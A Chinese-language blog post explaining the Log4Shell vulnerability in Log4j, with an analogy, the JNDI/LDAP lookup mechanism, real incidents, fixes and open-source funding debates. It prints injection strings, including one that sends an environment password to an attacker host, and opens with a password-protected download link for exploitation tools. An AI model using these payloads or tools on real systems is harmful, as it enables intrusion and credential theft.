前言

这个漏洞出来的时候,我还不知道是什么,看到最近热度依然很高,就稍微了解一下,记录一下.

点击下载log4j.7z(分卷1)点击下载log4j.7z(分卷2) 备份链接(分包压缩):[log4j.zip]https://wwi.lanzouo.com/b09gs2r7a 密码: g3st 这个是这漏洞的利用工具等,注意仅供研究学习使用,请于24h后删除!请勿用于非法用途!

文件结构图:image-20211214152610629

首先,Log4Shell 漏洞所针对的,是一个极为常用的 Java 库 Log4j

据了解,这个漏洞最初是由一名中国工程师、阿里云安全团队的 Chen Zhaojun 在 11 月下旬发现并提报的。

有记录的利用 Log4Shell 漏洞发起的攻击开始于 12 月 9 日,最初是针对微软的 Minecraft 游戏 Java 版。但人们很快发现 Log4Shell 的波及范围远不止于此。根据 GitHub 仓库 YfryTchsGD/Log4jAttackSurface 中的攻击案例截图,Apple iCloud、QQ 邮箱、Steam 商店、Twitter、百度搜索等一系列国内外主流服务或平台均存在该漏洞。

攻击案例截图

不过,Log4j 已经于 12 日发布 2.15.0 版本,修复了漏洞,并且对于暂不能升级的旧版也提供了临时应对方案。

受影响的大型平台也作出快速响应。10 日,Minecraft 发布 1.18.1 版,说明已修复了漏洞;亚马逊发出安全警告称,「正积极监控该问题,并已在寻求解决方案」;IBM、Red Hat、甲骨文、VMware 等知名科技公司也宣称正在部署补丁;Apple 尽管没有官方回应,但根据 11 日的测试,原本受到影响的 iCloud 似乎也已经修复。此外,目前暂无因该漏洞导致重大安全事故的报道。

然而,由于该漏洞影响范围之广,受影响服务完成更新或修补仍需不少时间,因此近期内风险仍不可忽视。事实上,根据以色列安全公司 Check Point 的监测,截至 12 月 12 日凌晨(太平洋时间),该公司已拦截到超过 40 万次针对该漏洞的攻击尝试,其中 45% 以上为已知恶意团体所发起。另根据 BleepingComputer 的报道,现已发现一些利用该漏洞安装挖矿脚本、组建僵尸网络和远程监控的案例

我对于编程和信息安全都是小白(菜鸟),但最近围绕Log4Shell的文章和报道很多,引起了我的好奇.

漏洞演示中简单到极致的攻击步骤——只是在对话框、搜索框里输入一段特殊文本就能触发.

本文是我在经过粗浅研究后的笔记,旨在向非专业用户介绍 Log4Shell 漏洞的机制。时间和能力所限,难免有不准确之处,敬请指正。

例子:记录员的故事

如果你跟我之前一样,对这个漏洞的描述一头雾水,不妨先通过下面这个比较粗略的比方来建立一个初步印象。

设想一个单位部门的门口有个登记处,里面坐着一个记录员。每当有人进入,记录员都会在一本访客日志上记下一笔:

1
<某人> 于 <某日> <某时> 因 <某事> 来访

要填写的这些信息中,有些是记录员在下笔之前并不知道的。比如,今天的日期、当前的准确时间,经常需要看一眼日历和手表才能确定;又比如,有的员工嫌报名字麻烦,就干脆报一个工号,让记录员回头自己去花名册里查。

某天,迎面跑来一个急匆匆的身影,还没等记录员问清姓名来意,就扔下一句:我赶路呢,来不及跟你唠废话登记了,你回头打我这个号码,我再跟你说。

老实的记录员也没多想,就记了一笔:

1
___ 于 12 月 10 日 9:41 因 ___ 来访(回电话 138 XXXX XXXX 问后补)

后来,记录员也确实根据来人要求,拨出了电话,追问对方的具体信息。

图片

记录员的做法有什么安全隐患呢?首先,他或许并没有权限用内部电话对外联系,往最轻的方面来说,这也泄露了不对外的内部号码。此外,如果对方来者不善,在通话过程中各种诱导哄骗,记录员还可能有意无意地泄露一些保密信息,以至做一些超越职权、不符合内部规程的事情。

这也就是 Log4Shell 漏洞的核心:它利用 Log4j 这个「日志记录员」看似不起眼、实则功能和权限都不少的模块,通过诱使其对外连接攻击者控制的服务器,达到收集隐私信息、执行恶意代码的目的。

漏洞是怎么运作的?

在形象认识的基础上,我们下面继续从技术角度说明 Log4Shell 漏洞的原理。

Log4j 是一个 Java 语言的库(library)。所谓「库」,通俗地说就是服务于特定功能、可以重复利用的软件代码;如果在开发其他软件时需要用到这种功能,直接拿来套用就行了,避免重复劳动。

Log4j 库所实现的功能就类似于上面故事里的记录员——写日志。由于 Java 是一种非常流行的语言,而 Log4j 是最主流、常用的 Java 库之一,它的代码遍及各类主流软件和服务;这就是 Log4Shell 波及范围广泛的原因。

Log4j 是根据配置文件中设定的「模板」来记录日志的。为了增加灵活性,Log4j 的模板中可以留下一些特殊语法的「待定内容」;在实际生成日志时,Log4j 会根据这些语法的指示,通过检索、查询、计算,将这些待定内容替换为实际内容,记录到日志里——正如上面那个记录员通过翻日历、看手表、查花名册,补齐访客记录里的空档一样。

那么,Log4j 都支持补齐哪些「待定内容」呢?根据文档,这主要包括日期时间、运行环境信息(例如用户名、Java 版本、系统语言)、事件信息等。

例如,如果在模板里写 **${date:yyyy-MM-dd}**,那么 Log4j 就会将其替换为形如 2021-12-12 的当前日期记录下来;如果在模板里写 **${java:version}**,Log4j 就会将其替换为形如 Java version 1.7.0_67 的实际 Java 版本记录下来。

不过,除了这些比较常规的待定内容,Log4j 还支持一种更为复杂的替换方式,称为 JNDI 查询JNDI(Java Naming and Directory Interface)是 Java 的一项内置功能,它允许 Java 程序在一个目录——可以想象为一个花名册或电话本——中查询数据。

这里,就要提到很多攻击例证里出现的字样——LDAP。LDAP(轻型目录访问协议,Lightweight Directory Access Protocol)是网络世界里一种特别常见的实现「花名册」功能的协议。简而言之,LDAP 通过一种标准化的语法(称为识别名,Distinguished Names 或 DN)记录身份信息。例如:

1
CN=John Appleseed,OU=Sales,O=Apple

表示一个常用名(commonName)为 John Appleseed,所属组织单位(organizationUnit)为 Sales,所属组织(organization)为 Apple 的对象(通常对应一个用户)。

LDAP 支持通过 URL 地址的形式查询信息。例如,访问如下地址:

1
ldap://ldap.example.com/cn=John%20Appleseed

就会向 LDAP 服务器 ldap.example.com 请求常用名为 John Appleseed 的用户信息。

根据文档,JNDI 查询的语法是 **${jndi:<查询位置>}**。一般而言,这里的「查询位置」是一个取决于软件运行环境的内部位置,因此 Log4j 会自动给它加上 java:comp/env 的前缀再查询。这就好比在公司内部说「查花名册」,默认就是指查该公司雇员的名册一样。

但特殊地,如果查询位置里包含冒号(:)——最可能的情况就是一个固定的 URL 地址,例如 **${jndi:ldap://ldap.example.com/a}**,那么,Log4j 在查询时就不会追加上述前缀,而是直接向这个写死的地址查询数据。

实现漏洞的链条就此串了起来。上述功能组合在一起,造成的结果是:Log4j 在记录日志时,可以通过 JNDI 接口,向一个外部的 LDAP 服务器发送请求

换言之,只要设法让使用了 Log4j 的程序记下一条内容形如 ${jndi:ldap://ldap.example.com/a} 的日志,那么记下这条日志的同时,程序就会试图向 ldap.example.com 请求查询数据,然后解析查询结果并写进日志

乍看上去,这似乎也没什么大不了。但是,一方面,日志的来源是广泛而多样的,其内容非常容易被操纵。另一方面,记录日志往往是由一个内部服务器或组件负责的,它们可能根本不应该与一个外部网址通讯。两个因素结合,就使得 Log4Shell 漏洞很容易触发,危害性又很高。

例如,很多服务器会通过日志记录访客的浏览器信息(即 HTTP 请求头中的 User-Agent)、登录的用户名,或者搜索内容。因此,只要将这些信息替换成 ${jndi:ldap://ldap.example.com/a} 之类构造出的内容,就可以通过简单的浏览、登录或搜索操作,往服务器里塞进一条特殊构造的日志,致使服务器访问这条恶意日志中的地址。

需要指出,攻击文本中所用的 ldap.example.com 甚至不需要是一个真正的 LDAP 服务器。因为仅仅是让本不应访问外网的服务器访问外网并留下痕迹,就已经具有一定危害后果了。

留意观察现有攻击例证,会发现很多例子用到的攻击文本中频繁出现 dnslog.cnceye.io 等域名。这些网站的功能类似,都是允许生成一个随机网址,该网址被访问时,会记下访问者的 IP 地址等信息并即时显示在页面上。因此,这类网站经常被用来测试注入式漏洞——包括这次的 Log4Shell 漏洞——的效果:如果能成功操作被攻击主机访问自己生成的网址、留下访问记录,则表明攻击是有效的。

实例

例如,在下面的截图中,攻击者将构造的字符串作为用户名来登录 iCloud 账户。显然,这个字符串进入了 iCloud 服务器的日志中,进而触发漏洞,访问了字符串中所包含的域名:

图片

类似地,在下面的 QQ 邮箱截图中,攻击者将构造的字符串填进了邮箱的搜索框,同样导致了腾讯服务器被记录:

图片

又因为 JNDI 查询的语法是可以嵌套的,这进一步将可能泄露的内容范围,扩大到了任何 Log4j 所能接触到的运行环境信息。正如一些用户在 GitHub 上的漏洞讨论中指出,形如 ${jndi:ldap://www.attacker.com:1389/${env:MYSQL_PASSWORD} 的恶意日志,就会引导 Log4j 首先将内层的 ${env:MYSQL_PASSWORD} 替换为真实的 MySQL 数据库密码,然后通过 URL 泄露给 www.attacker.com

此外,注意到 JNDI 的本意在于查询——不仅是发出请求,而且会记录处理查询结果,因此这个漏洞不仅会导致服务器信息泄漏,而且允许攻击者向服务器传递任意危险内容,可能还包括执行恶意代码。 例如,一个正常的 LDAP 服务器在收到查询请求时,返回的只是查询到的用户信息。但如果这是一个攻击者控制的「假」LDAP 服务器,那么它可以返回任意恶意内容——例如一段包含窃取或破坏功能的代码。

例如,上文提到的 BleepingComputer 报道中提到一个现有的真实案例:攻击者将一段使用 base64 编码的终端脚本附在 JNDI 查询指令中,导致被攻击机器下载并安装了挖矿程序:

图片

这种利用程序不经检查地将文本信息还原为对象的功能,注入和执行恶意代码的漏洞,术语称之为 「反序列化漏洞」(deserialization vulnerabilities),本身并非新鲜事物,在 Java 安全语境下也多有讨论。但或许是因为 Log4j 所服务的日志功能相对没那么引人注目,这个漏洞才蛰伏许久方被发现。

最后,当今网络服务往往是由相互通讯的多个组件构成的。因此,即使直接接收恶意信息的组件不受漏洞影响,这则恶意信息也可能通过数据传输,在某一步被一个后端组件所记录和执行;这极大扩展了漏洞的攻击面和危险程度

Cloudflare 就在针对本漏洞的博文中举例说:假设一个物流数据系统,它读取包裹上的二维码信息,通过 Log4j 记录下来,然后传给后台服务进一步检索处理。那么,攻击者就可以将恶意构造的信息藏在二维码里,通过上述流程传给后台服务执行。

图片

漏洞易补,根源难除

尽管 Log4Shell 漏洞的危害很大,但好在修复起来思路并不复杂。正如修复漏洞的 Log4j 2.15 版更新记录所示,其主要的修复方法就是加强对 JNDI 的限制,包括默认仅限访问本地的 LDAP 服务器(而非任意远程位置)、禁用大部分 JNDI 通讯的协议等。

而对于暂没有条件升级到新版 Log4j 的服务,也可以通过设置参数禁止 JNDI 查询,或者直接把 JNDI 查询相关代码切割出去,从而实现弥补漏洞。

此外,「存在漏洞」并不代表「会被利用该漏洞攻击」。正如 Ars Techinica 的文章所指出,网络服务往往设有多层的防护机制。即使其中的一个组件存在漏洞,其风险也可能被其他组件的安全机制所阻挡和弥补。

还是以开头的情景为例,那家公司可能从硬件层面禁止用内部分机拨打外部号码,或者监控、阻断员工未经授权的对外通讯,从而杜绝「记录员」被利用的可能性。

然而,哪怕 Log4Shell 的风波随着补丁推出逐渐消退,这一事件也能促使很多超越漏洞本身的思考

首先是一个软件系统设计的问题:很多评论都惊讶地指出,Log4j 的权限和「胆子」是不是太大了?区区一个「记录员」的角色,怎么能擅自访问未经鉴别的外部地址、甚至任意执行外部代码呢?即使记录不全需要后续完善,难道不也应该先原样抄录(例如技术上对变量做转义处理,即当作纯文本存储),然后交给职有专司的其他组件来查询和补充吗?

特别是当人们找出罪魁祸首——当初引入这个漏洞的功能提案,发现提案者的主要理由只是为了「方便」后,就更加有理由怀疑这个 JNDI 查询功能的加入是否过于草率了。

对此,一种解释是,这是过时开发思路的遗留。例如,Hacker News 用户 @toyg 指出,早年的 Java 开发偏好这种大而全、一个组件实现多种功能的思路,Log4j 这些令人后怕的「丰富」功能可能就因此而来;他还认为,LDAP 传统上是一个跑在内网上,被推定为「安全」的服务,这也容易让人忘记设置安全防护措施。

其次,作为一个由社区维护的开源项目,Log4j 此次漏洞也让人反思开源维护者是否得到了应有的支持和理解。事件发生后,Log4j 维护者 Volkan Yazici 在一条推文中不无委屈地说:

Log4j 的维护者们废寝忘食地提供补救措施;发补丁、写文档、提交 CVE(通用漏洞披露,信息安全行业通用的安全漏洞披露机制——译注)、回复询问,等等。但这都拦不住人们来责难我们,就为了一项我们未收分文的工作,为了一项我们也讨厌、但为了向后兼容不得不保留的功能。

进而有人从维护者 Ralph Goers 的 GitHub 支持者页面发现一段颇为谦卑的陈述:

我用业余时间开发 Log4j 等开源项目,所以一般只 [有空] 解决那些最感兴趣的问题。我一直梦想全职做开源,希望能靠你的支持梦想成真。

而略显讽刺的是,这段话下面赫然显示「3 人赞助了 rgoers 的工作」(情况曝光后数量略有增加)。

图片

既然 Log4j 的使用如此广泛、在各大主流服务中任劳任怨,那么大厂的担当和风范何在?因此有观点主张,使用开源项目的公司有道德上的责任赞助和支持项目的维护者;还有人提出,大厂即使不提供金钱支持,是不是至少应该义务提供技术力量,辅助改进整个项目,而不是自扫门前雪,修好自己的服务了事?

还有观点指出,这次安全漏洞再次提醒我们,开源不等于安全。尽管开源代码是可以审计的,但很多时候并不会真正有人去认真检查;相反,这还可能让人们放松警惕,为 Log4Shell 这样的严重漏洞留下长期潜伏的空间。

此外,维持旧版兼容性与尽快升级保障安全之间的矛盾,使用外部库节约开发时间与减少不必要对外依赖之间的矛盾,也是软件设计相关的经典议题,它们同样在这次漏洞之后的讨论中被大量提及。

由于本人知识有限,本文部分内容取自https://mp.weixin.qq.com/s/edXHVF-k7K27eJoaj0LYLw